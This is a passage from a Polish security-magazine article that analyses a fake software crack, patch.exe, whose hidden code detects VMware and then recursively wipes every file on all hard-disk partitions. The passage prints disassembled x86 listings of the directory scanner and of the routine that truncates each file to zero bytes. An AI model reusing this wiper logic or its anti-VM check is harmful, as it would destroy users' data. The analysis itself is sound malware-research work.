  mov     eax, esp
  push    edi
  push    eax
  call    [ebx+interfejs.FindFirstFileA]
  pop     ecx
  mov     esi, eax
  inc     eax
  jz      short nie_ma_wiecej_plikow
znaleziono_plik:; CODE XREF: wymaz_pliki+39j
  test    byte ptr [edi], 16 ; czy to katalog?
  jnz     short znaleziono_katalog
  call    zeruj_rozmiar_pliku
  jmp     short szukaj_nastepnego_pliku
znaleziono_katalog: ; CODE XREF: wymaz_pliki+17j
  lea     edx, [edi+2Ch]
  cmp     byte ptr [edx], '.'
  jz      short szukaj_nastepnego_pliku
  call    wymaz_pliki     ; rekursywne skanowanie katalogów
szukaj_nastepnego_pliku: ; CODE XREF: wymaz_pliki+1Ej, wymaz_pliki+26j
  push    5
  call    [ebx+interfejs.Sleep]
  push    edi
  push    esi
  call    [ebx+interfejs.FindNextFileA]
  test    eax, eax
  jnz     short znaleziono_plik ; czy to katalog?
nie_ma_wiecej_plikow: ; CODE XREF: seg000:0000003Aj, wymaz_pliki+12j
  push    esi
  call    [ebx+interfejs.FindClose]
  push    '..'            ; cd ..
  push    esp
  call    [ebx+interfejs.SetCurrentDirectoryA]
  pop     ecx
  popa
  retn
wymaz_pliki     endp

i user32.dll. Ich uchwyty zostają za-
pisane do struktury interfejs. Na-
stępnie w strukturze zapisywane 
są adresy funkcji GetProcAddress() 
i CreateThread() oraz znacznik okre-
ślający, czy program uruchomiony 
został pod systemem Windows NT/
XP. Uchwyty systemowych bibliotek 
i dostęp do funkcji GetProcAddress() 
w praktyce umożliwiają pobranie ad-
resu dowolnej procedury i każdej bi-
blioteki, nie tylko systemowej.

Główny wątek
Działanie ukrytego kodu rozpoczy-
na się od uruchomienia przez pro-
gram główny dodatkowego wątku 
przy wykorzystaniu adresu proce-
dury CreateThread(), wcześniej zapi-
sanej w strukturze interfejs. Po wy-
wołaniu CreateThread(), w rejestrze 

eax zwrócony zostaje uchwyt nowo 
utworzonego wątku (lub 0 w przy-
padku błędu), który po powrocie do 
kodu głównego programu zapisywa-
ny jest w zmiennej hHandle (patrz Li-
sting 10).

Spójrzmy na Listing 11, pokazu-
jący wątek odpowiedzialny za wy-
konanie ukrytego kodu. Do proce-

dury uruchomionej w wątku przeka-
zywany jest jeden parametr – w tym 
wypadku adres struktury interfejs. 
Procedura ta natomiast spraw-
dza, czy program został urucho-
miony w środowisku Windows NT. 
Dzieje się tak dlatego, że procedu-
ra przebiegle próbuje wykryć ewen-
tualną obecność wirtualnej maszyny 
Vmware (jeśli ją wykryje, zakończy 
działanie), wykorzystując do tego ce-
lu instrukcję asemblera in. Instrukcja 
ta może służyć do odczytywania da-
nych z portów I/O – w naszej sytuacji 
odpowiada za wewnętrzną komuni-
kację z oprogramowaniem Vmware. 
Jej wykonanie w systemie z rodziny 
Windows NT, w przeciwieństwie do 
Windows 9x, powoduje zawieszenie 
programu. 

Następnym krokiem jest pobra-
nie dodatkowych funkcji WinApi
wykorzystywanych przez ukry-
ty kod i zapisanie ich do struktury 
interfejs. Natomiast gdy już pobra-
ne zostaną wszystkie adresy proce-
dur, zostaje uruchomiona procedu-
ra skanuj _ dyski, sprawdzająca ko-
lejne stacje dysków (końcowa część 
Listingu 11).

Poszlaka – skaner dysków
Wywołanie procedury skanuj _ dyski 
to pierwszy widoczny znak, że ce-
lem ukrytego kodu jest destrukcja 
– w jakim celu bowiem rzekomy 
crack miałby przeczesywać wszyst-
kie napędy komputera? Skanowa-
nie rozpoczyna się od stacji ozna-
czonej literą Y:\ i zmierza w kie-
runku początkowego, dla większo-
ści użytkowników najważniejsze-
go napędu C:\ . Do określenia typu 
stacji wykorzystywana jest funkcja 
GetDriveTypeA(), która po podaniu li-

Listing 14. Niszczycielska procedura zeruj_rozmiar_pliku

zeruj_rozmiar_pliku proc near ; CODE XREF: wymaz_pliki+19p

  pusha
  mov     eax, [edi+20h] ; rozmiar pliku
  test    eax, eax ; jeśli ma 0 bajtów, omiń go
  jz      short pomin_plik
  lea     eax, [edi+2Ch] ; nazwa pliku
  push    20h ; ' ' ; nowe atrybuty dla pliku
  push    eax ; nazwa pliku
  call    [ebx+interfejs.SetFileAttributesA] ; ustaw atrybuty pliku
  lea     eax, [edi+2Ch]
  sub     edx, edx
  push    edx
  push    80h ; 'Ç'
  push    3
  push    edx
  push    edx
  push    40000000h
  push    eax
  call    [ebx+interfejs.CreateFileA]
  inc     eax ; czy otwarcie pliku się powidło?
  jz      short pomin_plik ; jeśli nie, nie zeruj pliku
  dec     eax
  xchg    eax, esi ; uchwyt pliku wgraj do rejestru esi

  push    0 ; ustaw wskaźnik pliku od jego początku (FILE_BEGIN)
  push    0
  push    0 ; adres na jaki ustawić wskaźnik pliku
  push    esi ; uchwyt pliku
  call    [ebx+interfejs.SetFilePointer]
  push    esi ; ustaw koniec pliku na bieżący wskaźnik (początek pliku),
  ; co sprawi, że plik zostanie skrócony do 0 bajtów

  call    [ebx+interfejs.SetEndOfFile]
  push    esi ; zamknij plik
  call    [ebx+interfejs.CloseHandle]
pomin_plik: ; CODE XREF: zeruj_rozmiar_pliku+6j

 ; zeruj_rozmiar_pliku+2Aj

  popa
  retn
zeruj_rozmiar_pliku endp

W Sieci
•  http://www.datarescue.com – deasembler IDA Demo for PE,
•  http://webhost.kemtel.ru/~sen/ – edytor szesnastkowy Hiew,
•  http://peid.has.it/ – identyfikator plików PEiD,
•  http://lakoma.tu-cottbus.de/~herinmi/REDRAGON.HTM – identyfikator FileInfo,
•  http://tinyurl.com/44ej3 – edytor zasobów eXeScope,
•  http://home.t-online.de/home/Ollydbg – darmowy debugger dla Windows 

OllyDbg,
•  http://protools.cjb.net – zbiór narzędzi przydatnych do analizy plików binarnych.

tery partycji zwraca jej typ. Kod pro-
cedury znajduje się na Listingu 12. 
Warto zwrócić uwagę, że procedu-
ra poszukuje jedynie standardowych 
partycji dysków twardych i pomija 
stacje CD-ROM czy dyski sieciowe.

Gdy wykryta zostanie popraw-
na partycja, zostaje uruchomiony re-
kursywny skaner wszystkich jej ka-
talogów (procedura wymaz _ pliki 
– patrz Listing 13). Oto kolejny po-
wód do uzasadnionych podejrzeń 
o niszczycielską działalność ukryte-
go kodu: skaner, wykorzystując funk-
cje FindFirtsFile(), FindNextFile() 
i SetCurrentDirectory(), skanuje ca-
łą zawartość partycji w poszukiwa-
niu wszystkich rodzajów plików. Mó-
wi nam o tym zastosowana dla pro-
cedury FindFirstFile() maska *.

Dowód: zerowanie plików
Dotychczas mogliśmy mieć jedynie 
mniej lub bardziej uzasadnione po- Rysunek 5. Schemat procedury skanowania dysków

dejrzenia co do niszczycielskiej si-
ły ukrytego w bitmapie kodu. Na Li-
stingu 14 natomiast znajduje się 
dowód na złośliwe zamiary twórcy 
programu patch.exe. To procedu-
ra zeruj _ rozmiar _ pliku – jest ona 
wywoływana zawsze, gdy procedura 
wymaz _ pliki odnajdzie jakikolwiek 
plik (o dowolnej nazwie i dowolnym 
rozszerzeniu).

Procedura ta działa bardzo pro-
sto. Każdemu kolejnemu znalezio-
nemu plikowi zostaje za pomocą 
funkcji SetFileAttributesA() usta-
wiony atrybut archiwalny. Przez to 
zostają usunięte inne atrybuty, w 
tym tylko do odczytu (jeśli takie by-
ły ustawione), chroniące plik przed 
zapisem. Następnie plik jest otwie-
rany funkcją CreateFileA() i, jeśli 

otwarcie pliku się powiodło, wskaź-
nik pliku zostaje ustawiony na jego 
początek.

Do tego celu procedura używa 
funkcji SetFilePointer(), której para-
metr FILE_BEGIN określa sposób 
ustawienia wskaźnika (w naszym 
przypadku – na początek pliku). 
Po ustawieniu wskaźnika wywoły-
wana jest funkcja SetEndOfFile(), 
której zadaniem jest ustalenie no-
wego rozmiaru pliku przy wykorzy-
staniu bieżącej pozycji wskaźnika 
w pliku. Jak widać, wskaźnik pliku 
ustawiony został wcześniej na sam 
jego początek – plik po tej opera-
cji ma więc zero bajtów. Po wyzero-
waniu pliku kod wraca do rekursyw-
nego skanowania kolejnych katalo-
gów w poszukiwaniu innych plików, 

zaś naiwny użytkownik, który uru-
chomił plik patch.exe, traci kolejne 
dane z dysku.

Analiza rzekomego cracka po-
zwoliła nam, na szczęście bez uru-
chamiania pliku wykonywalnego, 
zrozumieć zasadę jego działania, 
wyszukać ukryty kod i określić je-
go zachowanie. Uzyskane wyniki są 
jednoznaczne i przerażające – efek-
ty działania malutkiego programi-
ku patch.exe nie należą do przy-
jemnych. W efekcie działania zło-
śliwego kodu znalezione na wszyst-
kich partycjach wszystkich dysków 
pliki zmieniają rozmiar na zero baj-
tów i praktycznie przestają istnieć. 
W przypadku posiadania cennych 
danych strata może być nieodwra-
calna.  n

Rysunek 6. Schemat działania podejrzanego programu

